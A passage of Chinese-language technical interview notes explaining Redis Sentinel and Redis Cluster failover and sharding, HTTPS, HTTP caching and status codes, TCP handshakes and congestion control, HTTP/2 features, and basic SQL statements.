get-master-addr-by-name"命令,成功获得主节点信息就不向后面的哨兵节点发送命令。同时客户端会订阅哨兵节点的+switch-master频道,一旦主节点发送故障,哨兵服务器对主节点进行自动故障转移,会将从节点升级主节点,并且更新哨兵服务器中存储的主节点信息,会向+switch-master频道发送消息,客户端得到消息后重新从哨兵节点获取主节点信息,初始化连接池。Redis哨兵系统是怎么实现自动故障转移的?1.认定主节点主观下线因为每隔2s,哨兵节点会给主节点发送PING命令,如果在一定时间间隔内,都没有收到回复,那么哨兵节点就认为主节点主观下线。2.认定主节点客观下线哨兵节点认定主节点主观下线后,会向其他哨兵节点发送sentinel is-master-down-by-addr命令,获取其他哨兵节点对该主节点的状态,当认定主节点下线的哨兵数量达到一定数值时(这个阀值是Sentinel配置中quorum参数的值,通常我们设置为哨兵总节点数的1/2),就认定主节点客观下线。3.进行领导者哨兵选举认定主节点客观下线后,各个哨兵之间相互通信,选举出一个领导者哨兵,由它来对主节点进行故障转移操作。选举使用的是Raft算法,基本思路是所有哨兵节点A会先其他哨兵节点,发送命令,申请成为该哨兵节点B的领导者,如果B还没有同意过其他哨兵节点,那么就同意A成为领导者,最终得票超过半数以上的哨兵节点会赢得选举,如果本次投票,没有选举出领导者哨兵,那么就开始新一轮的选举,直到选举出哨兵节点(实际开发中,最先判定主节点客观下线的哨兵节点,一般就能成为领导者。)4.领导者哨兵进行故障转移领导者哨兵节点首先会从从节点中选出一个节点作为新的主节点。选择的规则是:1.首先排除一些不健康的节点。(下线的,断线的,最近5s没有回复哨兵节点的INFO命令的,与旧的主服务器断开连接时间较长的)2.然后根据优先级,复制偏移量,runid最小,来选出一个从节点作为主节点。向这个从节点发送slaveof no one命令,让其成为主节点,通过slaveof 命令让其他从节点成为它的从节点,将已下线的主节点更新为新的主节点的从节点,将其他从节点的复制目标改完新的主节点,将旧的主服务器改为从服务器。谈一谈你对RedisCluster的理解?当需要存储的数据量特别大,单个Redis实例无法满足需求,所以需要分片,早期很多业务就是在业务中进行分片,通过自定义一些业务规则,将不同的数据存储在不同的Redis实例中。后来就有了官方推出的集群化方案Redis Cluster。RedisCluster是怎么实现数据分片的?首先Redis Cluster设定了有16384个槽位,然后根据启动时集群的主节点数量进行均分,每个主节点得到一定数量的槽位,为了保证每个主节点挂掉之后,服务保持高可用,一般会为每个主节点配置几个从节点,从节点保存了主节点上同步过来的数据,一旦主节点挂掉,会有一个从节点会被选为主节点。客户端在与Redis Cluster建立连接时会获取到各槽位与主节点之间的映射关系,然后缓存到本地。客户端执行命令的流程:假设客户端需要发送一个查询请求时,首先会对key使用CRC16算法计算得到一个hash值,然后将hash值与16384(也就是2的14次方)进行取模(下面是网上找的图,应该是CRC16(key)%16384),得到一个槽位slot,然后根据本地缓存的槽位映射关系表,找到这个槽位slot对应的主节点,发送查询命令。主节点在收到命令后会有以下几种情况:1.这个主节点确实负责这个槽位,且不在迁移中。直接查询到这个键值对,返回给客户端。2.这个主节点不负责这个槽位,或者已经确定转移到其他节点上去了(Moved指令)可能是这个槽位已经迁移了,或者是客户端将指令发送到了错误的节点,或者是客户端缓存的槽位映射关系以前过期。主节点就会给客户端返回Moved指令及正确的节点信息,Moved指令相当于是一个永久重定向指令,用于纠正客户端缓存的错误槽位信息。客户端收到后会更新本地的槽位关系表,然后向正确的节点发送查询指令。3.这个槽位正在迁移中(ASKING指令)如果这个槽位之前是在这个主节点上,但是目前正在迁移(槽位状态为IMPORTING),那么如果现在主节点上存在这个可以,就成功处理请求。否则就返回ASKING指令+槽位所在的新节点,ASKING指令相当于是一个临时重定向指令,客户端收到之后不会更新本地的槽位关系表,只是将本次请求发送到新节点。Redis Cluster的节点扩容和下线扩容例如数据量太大了,原有的节点太少了,希望增加一些Redis实例,分担一些数据量。在Redis Cluster中,需要程序员手动执行命令,将节点添加到集群,并执行命令从其他的主节点上分配一些槽位到这个新节点上。具体执行命令流程如下:./redis-trib.rb add-node 127.0.0.1:7006 127.0.0.1:7000可以看到.使用addnode命令来添加节点,第一个参数是新节点的地址,第二个参数是任意一个已经存在的节点的IP和端口。新节点现在已经连接上了集群, 成为集群的一份子, 并且可以对客户端的命令请求进行转向了, 但是和其他主节点相比, 新节点还有两点区别:新节点没有包含任何数据, 因为它没有包含任何哈希槽位.尽管新节点没有包含任何哈希槽位, 但它仍然是一个主节点, 所以在集群需要将某个从节点升级为新的主节点时, 这个新节点不会被选中。接下来, 只要使用 redis-trib 程序, 将集群中的某些哈希槽位移动到新节点里面, 新节点就会成为真正的主节点了。槽位迁移需要执行的命令会比较的多,大家想了解的可以看看这篇文章:https://www.cnblogs.com/youngchaolin/archive/2004/01/13/12034660.html下线在节点上执行 redis-trib.rb del-node{host:port} {donwNodeId} 通知其他的节点,自己下线,如果本节点是主节点,会安排对应的从节点阶梯主节点的位置。RedisCluster是怎么做故障转移和发现的?1.主观下线当节点 1 向节点 2 例行发送 Ping 消息的时候,如果节点 2 正常工作就会返回 Pong 消息,同时会记录节点 1的相关信息,更新与节点2的最近通讯时间。如果节点 1的定时任务检测到与节点 2 上次通讯的时间超过了 cluster-node-timeout 的时候,就会更新本地节点状态,把节点 2 更新为主观下线。2.客观下线:由于 Redis Cluster 的节点不断地与集群内的节点进行通讯,下线信息也会通过 Gossip 消息传遍所有节点。因此集群内的节点会不断收到下线报告,当半数以上持有槽的主节点标记了某个节点是主观下线时,便会认为节点2客观下线,执行后面的流程。3.资格检查每个从节点都会检查与主节点断开的时间。如果这个时间超过了 cluster-node-timeout*cluster-slave-validity-factor(从节点有效因子,默认为 10),那么就没有故障转移的资格。也就是说这个从节点和主节点断开的太久了,很久没有同步主节点的数据了,不适合成为新的主节点,因为成为新的主节点以后,其他的从节点回同步它的数据。4.从节点触发选举通过资格的从节点都可以触发选举。但是触发选举是有先后顺序的,这里按照复制偏移量的大小来判断。这个偏移量记录了执行命令的字节数。主服务器每次向从服务器传播 N 个字节时就会将自己的复制偏移量+N,从服务在接收到主服务器传送来的 N 个字节的命令时,就将自己的复制偏移量+N。复制偏移量越大说明从节点延迟越低,也就是该从节点和主节点沟通更加频繁,该从节点上面的数据也会更新一些,因此复制偏移量大的从节点会率先发起选举。5.从节点发起选举首先每个主节点会去更新配置纪元(clusterNode.configEpoch),这个值是不断增加的整数。在节点进行 Ping/Pong 消息交互时也会更新这个值,它们都会将最大的值更新到自己的配置纪元中。这个值记录了每个节点的版本和整个集群的版本。每当发生重要事情的时候,例如:出现新节点,从节点精选。都会增加全局的配置纪元并且赋给相关的主节点,用来记录这个事件。说白了更新这个值目的是,保证所有主节点对这件“大事”保持一致。大家都统一成一个配置纪元(一个整数),表示大家都知道这个“大事”了。更新完配置纪元以后,每个从节点会向集群内发起广播选举的消息。6.主节点为选举投票参与投票的只有主节点,从节点没有投票权。每个主节点在收到从节点请求投票的信息后,如果它还没有为其他从节点投票,那么就会把票投给从节点。(也就是主节点的票只会投给第一个请求它选票的从节点。)超过半数的主节点通过某一个节点成为新的主节点时投票完成。如果在 cluster-node-timeout*2 的时间内从节点没有获得足够数量的票数,本次选举作废,进行第二轮选举。这里每个候选的从节点会收到其他主节点投的票。在第2步领先的从节点通常此时会获得更多的票,因为它触发选举的时间更早一些。获得票的机会更大,也是由于它和原主节点延迟少,理论上数据会更加新一点。7.选举完成当满足投票条件的从节点被选出来以后,会触发替换主节点的操作。新的主节点别选出以后,删除原主节点负责的槽数据,把这些槽数据添加到自己节点上。并且广播让其他的节点都知道这件事情,新的主节点诞生了。Redis Cluster的主从复制模型Redis集群的架构就是多个主节点,每个主节点负责一部分槽位,每个主节点拥有几个从节点,一旦主节点挂掉,会挑选一个从节点成为新的主节点,负责这部分槽位。如果某个主节点和它的所有从节点都挂掉了,那么这部分槽位就不可用。Redis Cluster一致性CAP理论认为C一致性,A可用性,P分区容错性,一般最多只能满足两个,也就是只能满足CA和CP,而Redis Cluster的主从复制的模式是异步复制的模式,也就是主节点执行修改命令后,返回结果给客户端后,有一个异步线程会一直从aof_buf缓冲区里面取命令发送给从节点,所以不是一种强一致性,只满足CAP理论中的CA。参考链接:http://www.redis.cn/topics/cluster-tutorial.htmlhttps://blog.csdn.net/g6u8w7p06dco99fq3/article/details/105336857
1.HTTPS建立连接的过程是怎么样的?2.HTTP的缓存策略是怎么样的?3. TCP三次握手和四次挥手是怎么样的?4.TCP怎么保证可靠性的?5.TCP拥塞控制怎么实现?6.close_wait太多怎么处理?HTTPS建立连接的过程是怎么样的?在发起连接之前,服务器会向证书机构申请SSL证书,流程是服务器将自己的公钥发给CA证书机构,CA证书机构会用自己的私钥对服务器的公钥加密,生成SSL证书给服务器,服务器将SSL证书存储后供之后建立安全连接使用。1.客户端发起请求,TCP三次握手,跟服务器建立连接。 如上图所示,在第 ② 步时服务器发送了一个SSL证书给客户端,SSL 证书中包含的具体内容有:(1)证书的发布机构CA(2)证书的有效期(3)服务器的公钥(4)证书所有者(5)签名3、客户端在接受到服务端发来的SSL证书时,会对证书的真伪进行校验,以浏览器为例说明如下:(1)首先浏览器读取证书中的证书所有者、有效期等信息进行一一校验(2)浏览器开始查找操作系统中已内置的受信任的证书发布机构CA证书,与服务器发来的证书中的颁发者CA比对,用于校验证书是否为合法机构颁发 。(3)如果找不到,浏览器就会报错,说明服务器发来的证书是不可信任的。(4)如果找到,那么浏览器就会从操作系统中取出 颁发者CA 的公钥,然后对服务器发来的证书里面的签名进行解密(5)浏览器使用相同的hash算法计算出服务器发来的证书的hash值,将这个计算的hash值与证书中签名做对比(6)对比结果一致,则证明服务器发来的证书合法,没有被冒充(7)此时浏览器就可以读取证书中的公钥,用于后续加密了。假设没有CA,那么如果服务器返回的包含公钥的包被hack截取,然后hack也生成一对公私钥,他将自己的公钥发给客户端。hack得到客户端数据后,解密,然后再通过服务器的公钥加密发给服务器,这样数据就被hack获取。 有了CA后,客户端根据内置的CA根证书,很容易识别出hack的公钥不合法,或者说hack的证书不合法。HTTP的缓存策略是怎么样的?HTTP 缓存主要分为强缓存和对比缓存两种,从优先级上看,强缓存大于对比缓存。强缓存强缓缓存就是浏览器缓存数据库里有缓存数据就不再去向服务器发请求了可以造成强制缓存的字段有Expires和Cache-Control两个:Expires:该字段标识缓存到期时间,是一个绝对时间,也就是服务器时间+缓存有效时间。 缺点:如果客户端修改了本地时间,会造成缓存失效。如果本地时间与服务器时间不一致,也会导致缓存失效。Cache-Control:该字段表示缓存最大有效时间,该时间是一个相对时间。 使用相对时间的话,即使本地时间与服务器时间不一致,也不会导致缓存失效。 下面列举一下Cache-Control的字段可以带的值:max-age:即最大有效时间no-cache:表示没有缓存,即告诉浏览器该资源并没有设置缓存s-maxage:同max-age,但是仅用于共享缓存,如CDN缓存public:多用户共享缓存,默认设置private:不能够多用户共享,HTTP认证之后,字段会自动转换成private。对比缓存对比缓存的实现原理时,先给给服务器发请求,并且带上缓存的资源文件的缓存标识,让服务端进行对比,如果资源文件没有更改,就只返回header部分,body为空,状态码是304,浏览器使用缓存的资源文件。如果数据有更改,就返回更新后的资源文件。可以实现对比缓存的机制有Last-Modified/If-Modified-Since和Etag/If-None-Match两种:Last-Modified/If-Modified-Since就是 请求的response header中会返回Last-Modified字段,代表资源文件最近的修改时间,发请求时 request header中会带上If-Modified-Since字段,代表上次获取的资源文件的最近修改时间,服务器判断资源文件是否有更新,来决定返回最新的资源文件(返回200),还是让浏览器使用缓存(返回304)。缺点:Last-Modified标注的最后修改只能精确到秒级,如果某些文件在1秒钟以内,被修改多次的话,它将不能准确标注文件的修改时间。如果某些文件会被定期生成,当有时内容并没有任何变化,但Last-Modified却改变了,导致文件没法使用缓存。Etag/If-None-Match就是 response header中会返回Etag,代表资源文件的版本号,发请求时 request header中会加上If-None-Match字段,值是上次请求的资源的文件的版本号,代表上次请求的资源文件的版本号,服务器判断资源文件是否有更新,来决定返回最新的资源文件(返回200),还是让浏览器使用缓存(返回304)。优先级优先级方面排序是 强缓存(Cache-Control)> 强缓存(Expires)> 对比缓存(Etag/If-None-Match)> 对比缓存(Last-Modified/If-Modified-Since)TCP三次握手和四次挥手是怎么样的?三次握手:TCP是一个面向连接的可靠的传输协议。建立连接前需要进行三次握手。流程如下:1.客户端首先会生成一个随机数J作为数据包的序号,给服务端发送一个SYN包,包的序号seq设置为J,发送成功后,自己进入SYN_SENT 状态,代表发送SYN包成功,等待服务端的确认。2.服务端收到SYN包之后,会进入到SYN_RECV状态,同时为了检测服务端到客户端是否通畅,会给客户端发送一个SYN包,将ACK设置为1,并且会带上ack=J+1,生成随机数作为包的序号,seq=K,用于确认之前收到了客户端发送的SYN包。3.客户端收到服务端发送的SYN包后,会检测ACK标志位是否为1,并且ack是否等于J+1,如果是的话,就说明之前服务器收到了客户端发送的SYN包,并且服务端发送给客户端的SYN包也是可以收到的,所以需要给服务端发送ACK包,ACK=1,ack=K+1。4.服务端收到ACK回应后,检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,客户端和服务器端进入ESTABLISHED状态,完成三次握手,随后客户端与服务器端之间可以开始传输数据了。四次挥手TCP是全双工的连接,断开每一方向的连接都需要发送断开请求,断开确认。所以总共需要发送4个包才能确定连接的断开。1.首先客户端给服务端发送一个FIN包,seq=J,客户端进入FIN_WAIT_1状态,代表客户端已经没有数据发送给服务端了。2.服务端接收到FIN包之后,会给客户端发送一个ACK,ack=J+1,用于确认客户端-服务端这边的连接进行断开。同时会进入到CLOSE_WAIT状态,表示在等待关闭,因为服务端往客户端可能还在继续传输数据,暂时还不能断开。客户收到服务端返回的ACK回应后,会进入到FIN_WAIT_2状态,代表客户端-服务端的连接已经断开成功,等待服务端发送FIN包断开服务端-客户端的连接。3.服务端发现没有数据发给客户端后,会发一个FIN包给客户端,并且进入LAST_ACK,代表等待客户端的ACK,一旦收到ACK,代表连接正式断开,服务端可以进入CLOSE状态。4.客户端收到服务端发送的FIN包后,说明连接已经断开了,但是需要服务端知道,客户端会给服务端发送一个ACK包通知服务端,并且会进入TIME_WATING状态,代表超过超时时间后自动进入CLOSE状态,如果ACK包中途丢了,服务端会再发送FIN包,客户端会进行ACK包重发,这也是TIME_WAITING状态的意义。TCP怎么保证可靠性的?TCP主要提供了检验和、序列号/确认应答、超时重传、最大消息长度、滑动窗口控制等方法实现了可靠性传输。校验和主要是将数据切分成若干个16位的二进制串,将每个二进制串看成一个二进制数,对这些数进行相加等运算得到一个校验和,然后接收方收到数据会使用同样的算法来对数据计算校验和,如果结果和发送端发过来的校验和一样,那么就校验成功。主要是为了防止接收方收到的是已经损坏的数据。序列号/确认应答,超时重传对发送的每个数据包都有一个序号,服务端收到数据包会返回一个ACK进行确认,如果在超过超时时间后,客户端还是没有收到服务端返回的ACK确认,就会对数据包进行超时重传。并且超时时间是动态变化的,初始值会大于正常的报文发送到接收到ACK回应的时间,重传后还没有得到回应会调大重传时间,然后进行重传。 例如:在Linux中,超时以500ms为单位进行控制,每次判定超时重发的超时时间都是500ms的整数倍。其规律为:如果重发一次仍得不到应答,就等待2500ms后再进行重传,如果仍然得不到应答就等待4500ms后重传,依次类推,以指数形式递增,重传次数累计到一定次数后,TCP认为网络或对端主机出现异常,就会强行关闭连接。最大消息长度在建立TCP连接的时候,双方约定一个最大的长度(MSS)作为发送的单位,重传的时候也是以这个单位来进行重传。理想的情况下是该长度的数据刚好不被网络层分块。滑动窗口控制就是发送方在发送一个包时,不需要等到收到接收方对上一个包的确认应答后,才能发。只需要当前发送的包在滑动窗口内就行了。发送方每接收到一个确认应答,就会向后移动一位。 对于接收方而言,只会给客户端返回当前需要的包的序号,也就是对目前已收到的包的确认应答。(在拥塞控制里面,一般判断是否是网络拥塞导致丢包,有两种机制,超时重传,超过重传时间,还没有收到回应,另一个是收到三个重复确认ACK,就是比如中间某个数据包N丢了,那么后面发送的3个数据包如果被服务端接收到了,返回的确认回答ACK=N,代表没有收到数据包N,需要发送方重传,重复确认ACK超过3个,就认为发送了网络拥塞)流量控制是怎么实现的?因为滑动窗口设置得太大或太小都不易于数据传输,所以是根据接收端的反馈,发送端可以对滑动窗口大小进行动态调整的。发送端在发送的数据包的序号必须小于最大的滑动窗口值,所以当发送的数据包过多,导致接收端的缓冲区写满时,接收端会通知给客户端将滑动窗口设置为更小的值,减少发送的量,达到一个流量控制的效果。TCP拥塞控制怎么实现?拥塞控制主要由慢启动,拥塞避免,拥塞发生时算法,快速恢复四个算法组成。慢启动TCP连接刚建立,一点一点地提速,试探一下网络的承受能力,以免直接扰乱了网络通道的秩序,是呈指数增长的。一开始拥塞窗口cwnd大小是1,就是每收到一个ACK确认回答,就会把拥塞窗口cwnd的大小+1,这样在每个往返时延下,窗口cwnd大小都会变为原来的二倍,所以就会呈指数增长。拥塞避免因为慢启动的拥塞窗口cwnd呈指数增长的,一旦达到网络的最大承受能力时,有可能已经发出大量数据包了,造成网络拥塞了,所以为了避免网络拥塞,当拥塞窗口cwnd达到慢启动的阀值ssthresh的大小时,就会停止指数增长,进入线性增长状态,在每个往返时延下,窗口cwnd大小都+1。拥塞发生时算法一般认为,网络拥塞时就会发生网络丢包,所以判定拥塞发生就是以丢包为主。有两种判定方法,超时重传,在发送一个数据以后就开启一个计时器,在一定时间(RTO[Retransmission Timeout])内如果没有得到发送数据报的ACK报文,那么就重新发送数据,直到发送成功为止。另一个是收到三个重复确认ACK,就是比如中间某个数据包N丢了,那么后面发送的3个数据包如果被服务端接收到了,返回的确认回答ACK=N,代表没有收到数据包N,需要发送方重传,重复确认ACK超过3个,就认为发送了网络拥塞)。一旦认定网络拥塞,就会将慢启动阀值ssthresh设置为发生拥塞时的窗口cwnd大小的一半。PS:快重传是什么?假设发送方发送了1,2,3,4个数据包,假设接收方收到1,2数据包,并且发送了ACK确认,没有收到3,但是收到了4。根据可靠性传输原理,由于没有收到3,即便接受到了4,它也是一个失序报文,接收方不能对它进行确认。只能等发送方在等待3的ACK的回应时间超过2MSL后,进行重发。但是在这里为了让发送方快速知道哪些数据报文丢失了,接收方在收到3时就会给他返回2的ACK,一旦收到3个重复的ACK回应,也就是2的ACK,发送方就会意识到数据包3丢了,就会进行快速重传,重发报文3。快速恢复算法发生网络拥塞后,慢启动阀值ssthresh设置为发生拥塞时的窗口cwnd大小的一半后,如果是早期的算法TCP Tahoe,此时会将cwnd重置为1,重新开始慢启动的过程。如果现在的TCP Reno算发,会将cwnd窗口设置为新的ssthresh值的大小,后续开始进入拥塞避免算法的流程,对cwnd窗口进入线性增长的状态。close_wait太多怎么处理?close_wait 主要在TCP四次挥手时,服务端给客户端返回ACK应答后,由于自身还需要给客户端传输数据,所以会进入到close_wait状态,直到不需要给客户端发数据了,才会去给客户端发送FIN包,同时进入LAST_ACK状态。(被动关闭的一方没有及时发出 FIN 包就会导致自己一直处于close_wait状态。)tcp_keepalive_time默认是2个小时,也就是TCP空闲连接可以存活2个小时,在close_wait状态下,可以把这个时间调小,减少处于close_wait连接的数量time_wait太多是怎么造成的?首先time_wait状态存在的意义是可以有效地终止TCP连接,因为主动关闭方发生ACK给被动关闭方后,需要等待2MSL的时间(MSL指的是报文最大有效存活时间,在linux下是60s),在这个时间内,如果没有收到被动关闭方重发的FIN包,就说明连接关闭完成了。 在高并发短连接的业务场景下,由于短连接的传输数据+业务处理的时间很短,所以服务器处理完请求就会立即主动关闭连接,并且进入TIME_WAITING状态,而端口处于有个0~65535的范围中,除去系统占用的,总的数量有限。所以持续的到达一定量的高并发短连接,会使服务器因端口资源不足而拒绝为一部分请求服务。 可以通过修改TCP的默认配置来改善这个问题。net.ipv4.tcp_syncookies = 1 表示开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭; net.ipv4.tcp_tw_reuse = 1 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,表示关闭; net.ipv4.tcp_tw_recycle = 1 表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。 net.ipv4.tcp_fin_timeout 修改系默认的 TIMEOUT 时间https://www.cnblogs.com/dadonggg/p/8778318.htmlhttps://segmentfault.com/a/1190000019292140HTTP/2 有哪些新特性?1.二进制传输HTTP/2传输数据量的大幅减少,主要有两个原因:以二进制方式传输和Header 压缩。我们先来介绍二进制传输,HTTP/2 采用二进制格式传输数据,而非HTTP/1.x 里纯文本形式的报文 ,二进制协议解析起来更高效。HTTP/2 将请求和响应数据分割为更小的帧,并且它们采用二进制编码。 HTTP/2 中,同域名下所有通信都在单个连接上完成,该连接可以承载任意数量的双向数据流。每个数据流都以消息的形式发送,而消息又由一个或多个帧组成。多个帧之间可以乱序发送,根据帧首部的流标识可以重新组装。2.Header 压缩HTTP/2并没有使用传统的压缩算法,而是开发了专门的"HPACK”算法,在客户端和服务器两端建立“字典”,用索引号表示重复的字符串,还采用哈夫曼编码来压缩整数和字符串,可以达到50%~90%的高压缩率。具体来说:在客户端和服务器端使用“首部表”来跟踪和存储之前发送的键-值对,对于相同的数据,不再通过每次请求和响应发送;首部表在HTTP/2的连接存续期内始终存在,由客户端和服务器共同渐进地更新;每个新的首部键-值对要么被追加到当前表的末尾,要么替换表中之前的值例如下图中的两个请求, 请求一发送了所有的头部字段,第二个请求则只需要发送差异数据,这样可以减少冗余数据,降低开销。3.多路复用在 HTTP/2 中引入了多路复用的技术。多路复用很好的解决了浏览器限制同一个域名下的请求数量的问题,同时也接更容易实现全速传输,毕竟新开一个 TCP 连接都需要慢慢提升传输速度。https://my.oschina.net/u/4331678/blog/36289594.Server PushHTTP2还在一定程度上改变了传统的“请求-应答”工作模式,服务器不再是完全被动地响应请求,也可以新建“流”主动向客户端发送消息。比如,在浏览器刚请求HTML的时候就提前把可能会用到的JS、CSS文件发给客户端,减少等待的延迟,这被称为"服务器推送"( Server Push,也叫 Cache push)5.提高安全性出于兼容的考虑,HTTP/2延续了HTTP/1的“明文”特点,可以像以前一样使用明文传输数据,不强制使用加密通信,不过格式还是二进制,只是不需要解密。但由于HTTPS已经是大势所趋,而且主流的浏览器Chrome、Firefox等都公开宣布只支持加密的HTTP/2,所以“事实上”的HTTP/2是加密的。也就是说,互联网上通常所能见到的HTTP/2都是使用"https”协议名,跑在TLS上面。HTTP/2协议定义了两个字符串标识符:“h2"表示加密的HTTP/2,“h2c”表示明文的HTTP/2。HTTP报文结构是怎么样的?请求报文请求报文结构如下:HTTP请求由请求行+请求header+空行+请求内容组成,第一行就是请求行,主要包含请求方法,URL,HTTP协议版本。第二行开始就是请求Header,请求Header后面会有一个空行,用于区分Header和请求内容。请求行由请求方法字段、URL字段、协议版本字段三部分构成,它们之间由空格隔开。常用的请求方法有:GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、CONNECT。请求头请求头由key/value对组成,每行为一对,key和value之间通过冒号(:)分割。请求头的作用主要用于通知服务端有关于客户端的请求信息。典型的请求头有:User-Agent:生成请求的浏览器类型Accept:客户端可识别的响应内容类型列表;星号* 用于按范围将类型分组。*/*表示可接受全部类型,type/*表示可接受type类型的所有子类型。Accept-Language: 客户端可接受的自然语言Accept-Encoding: 客户端可接受的编码压缩格式Accept-Charset: 可接受的字符集Host: 请求的主机名,允许多个域名绑定同一IP地址connection:连接方式(close或keeplive)Cookie: 存储在客户端的扩展字段空行最后一个请求头之后就是空行,用于告诉服务端以下内容不再是请求头的内容了。请求内容请求内容主要用于POST请求,与POST请求方法配套的请求头一般有Content-Type(标识请求内容的类型)和Content-Length(标识请求内容的长度)响应报文HTTP响应报文由状态行、响应头、空行和响应内容4个部分构成。第一行是状态行,由HTTP协议版本,状态码,状态描述组成,第二行开始是响应头,响应头后面是一个空行,用于区分响应头和响应内容。状态行由HTTP协议版本、状态码、状态码描述三部分构成,它们之间由空格隔开。状态码由3位数字组成,第一位标识响应的类型,常用的5大类状态码如下:1xx:表示服务器已接收了客户端的请求,客户端可以继续发送请求2xx:表示服务器已成功接收到请求并进行处理3xx:表示服务器要求客户端重定向4xx:表示客户端的请求有非法内容5xx:标识服务器未能正常处理客户端的请求而出现意外错误常见状态码说明:200 OK: 表示客户端请求成功304 Not Modified:未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源。400 Bad Request: 表示客户端请求有语法错误,不能被服务器端解析401 Unauthorized: 表示请求未经授权,该状态码必须与WWW-Authenticate报文头一起使用404 Not Found:请求的资源不存在,例如输入了错误的url500 Internal Server Error: 表示服务器发生了不可预期的错误,导致无法完成客户端的请求503 Service Unavailable:表示服务器当前不能处理客户端的请求,在一段时间后服务器可能恢复正常响应头一般情况下,响应头会包含以下,甚至更多的信息。Location:服务器返回给客户端,用于重定向到新的位置Server: 包含服务器用来处理请求的软件信息及版本信息Vary:标识不可缓存的请求头列表Connection: 连接方式。对于请求端来讲:close是告诉服务端,断开连接,不用等待后续的求请了。keeplive则是告诉服务端,在完成本次请求的响应后,保持连接,等待本次连接后的后续请求。对于响应端来讲:close表示连接已经关闭。keeplive则表示连接保持中,可以继续处理后续请求。Keep-Alive表示如果请求端保持连接,则该请求头部信息表明期望服务端保持连接多长时间(秒),例如300秒,应该这样写Keep-Alive: 300空行最后一个响应头之后就是空行,用于告诉请求端以下内容不再是响应头的内容了。响应内容服务端返回给请求端的文本信息。下面是一个实际的例子:HTTP状态码502,503,504各自代表着什么?502是指网关(一般是Nginx)从后端服务器接受到了无效的响应结果。通常是我们的后端服务器挂了之类的。503是请求过载,就是请求超过了Nginx限流设置的阀值,就会返回503服务不可用。504是指网关(一般是Nginx)从后端服务器接受的响应超时了。
基础模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。主键的值不允许修改,也不允许复用(不能使用已经删除的主键值赋给新数据行的主键)。SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL、Transact-SQL 等。SQL 语句不区分大小写,但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。SQL 支持以下三种注释:## 注释 SELECT * FROM mytable; -- 注释 /* 注释1 注释2 */数据库创建与使用:CREATE DATABASE test; USE test;创建表CREATE TABLE mytable ( id INT NOT NULL AUTO_INCREMENT, col1 INT NOT NULL DEFAULT 1, col2 VARCHAR(45) NULL, col3 DATE NULL, PRIMARY KEY (`id`));修改表添加列ALTER TABLE mytable ADD col CHAR(20);删除列ALTER TABLE mytable DROP COLUMN col;删除表DROP TABLE mytable;插入普通插入INSERT INTO mytable(col1, col2) VALUES(val1, val2);插入检索出来的数据INSERT INTO mytable1(col1, col2) SELECT col1, col2 FROM mytable2;将一个表的内容插入到一个新表CREATE TABLE newtable AS SELECT * FROM mytable;更新UPDATE mytable SET col = val WHERE id = 1;删除DELETE FROM mytable WHERE id = 1;TRUNCATE TABLE 可以清空表,也就是删除所有行。TRUNCATE TABLE mytable;使用更新和删除操作时一定要用 WHERE 子句,不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试,防止错误删除。查询DISTINCT相同值只会出现一次。它作用于所有列,也就是说所有列的值都相同才算相同。SELECT DISTINCT col1, col2 FROM mytable;LIMIT限制返回的行数。可以有两个参数,第一个参数为起始行,从 0 开始;第二个参数为返回的总行数。返回前 5 行:SELECT * FROM mytable LIMIT 5;SELECT * FROM mytable LIMIT 0, 5;返回第 3 ~ 5 行:SELECT * FROM mytable LIMIT 2, 3;排序ASC :升序(默认)DESC :降序可以按多个列进行排序,并且为每个列指定不同的排序方式:SELECT * FROM mytable ORDER BY col1 DESC, col2 ASC;过滤不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。SELECT * FROM mytable WHERE col IS NULL;下表显示了 WHERE 子句可用的操作符操作符说明=等于<小于>大于<> !=不等于<= !>小于等于>= !<大于等于BETWEEN在两个值之间IS NULL为 NULL 值应该注意到,NULL 与 0、空字符串都不同。AND 和 OR 用于连接多个过滤条件。优先处理 AND,当一个过滤表达式涉及到多个 AND 和 OR 时,可以使用 () 来决定优先级,使得优先级关系更清晰。IN 操作符用于匹配一组值,其后也可以接一个 SELECT 子句,从而匹配子查询得到的一组值。NOT 操作符用于否定一个条件。通配符通配符也是用在过滤语句中,但它只能用于文本字段。% 匹配 >=0 个任意字符;_ 匹配 ==1 个任意字符;[ ] 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。使用 Like 来进行通配符匹配。SELECT * FROM mytable WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本不要滥用通配符,通配符位于开头处匹配会非常慢。计算字段在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多,并且转换和格式化后的数据量更少的话可以减少网络通信量。计算字段通常需要使用 AS 来取别名,否则输出的时候字段名为计算表达式。SELECT col1 * col2 AS alias FROM mytable;CONCAT() 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 TRIM() 可以去除首尾空格。SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col FROM mytable;函数各个 DBMS 的函数都是不相同的,因此不可移植,以下主要是 MySQL 的函数。汇总函 数说 明AVG()返回某列的平均值COUNT()返回某列的行数MAX()返回某列的最大值MIN()返回某列的最小值SUM()返回某列值之和AVG() 会忽略 NULL 行。使用 DISTINCT 可以让汇总函数值汇总不同的值。SELECT AVG(DISTINCT col1) AS avg_col FROM mytable;文本处理函数说明LEFT()左边的字符RIGHT()右边的字符LOWER()转换为小写字符UPPER()转换为大写字符LTRIM()去除左边的空格RTRIM()去除右边的空格LENGTH()长度SOUNDEX()转换为语音值其中, SOUNDEX() 